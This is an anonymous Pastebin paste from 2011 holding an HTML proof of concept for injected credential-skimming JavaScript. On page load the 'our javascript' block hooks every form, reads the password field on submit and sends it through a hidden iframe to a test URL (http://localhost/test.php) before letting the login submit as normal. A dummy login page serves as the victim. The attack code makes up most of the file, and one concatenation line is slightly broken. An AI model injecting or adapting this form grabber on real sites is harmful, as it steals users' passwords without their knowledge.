Advertisement
Guest User

Untitled

a guest
Oct 16th, 2011
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 1.56 KB | None | 0 0
  1. <html><body>
  2.  
  3. <!-- our javascript -->
  4. <script>
  5. window.addEventListener('load',
  6. function()
  7.     {
  8.     for(var i = 0; i < document.forms.length; i++)
  9.        {
  10.        var form = document.forms[i];
  11.        var onsub = form.onsubmit;
  12.        form.onsubmit = null;
  13.        form.addEventListener('submit',
  14.        function(evt)
  15.            {
  16.            var passwd;
  17.  
  18.            for(var j = 0; j < form.elements.length; j++)
  19.                if(form.elements[j].type == "password")
  20.                    passwd = form.elements[j].value;
  21.  
  22.            alert("The password: "   passwd);
  23.  
  24.            var frame = document.createElement("iframe");
  25.            frame.setAttribute("src", "http://localhost/test.php?passwd=" + escape(passwd) );
  26.            frame.setAttribute("style", "display: none;");
  27.            document.body.appendChild(frame);
  28.            evt.preventDefault();
  29.            frame.onload = function() { if(onsub == undefined) form.submit(); if(onsub()) form.submit(); }
  30.            }
  31.        , false);
  32.        }
  33.    }
  34. , false);
  35. </script>
  36.  
  37. <!-- real website javascript -->
  38. <script>
  39. // a test to make sure both window.onload events are called
  40. window.onload = function() { alert("page is loaded"); }
  41.  
  42. // a test to make sure both form inputs are used
  43. function validate_input()
  44.     {
  45.     return true;
  46.     }
  47. </script>
  48.  
  49. <form method="post" action="login.php" onsubmit="return validate_input();">
  50. user: <input type="text" name="user"><br>
  51. pass: <input type="password" name="pass"><br>
  52. <input type="submit" value="submit">
  53. </form>
  54.  
  55. </body></html>
  56.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement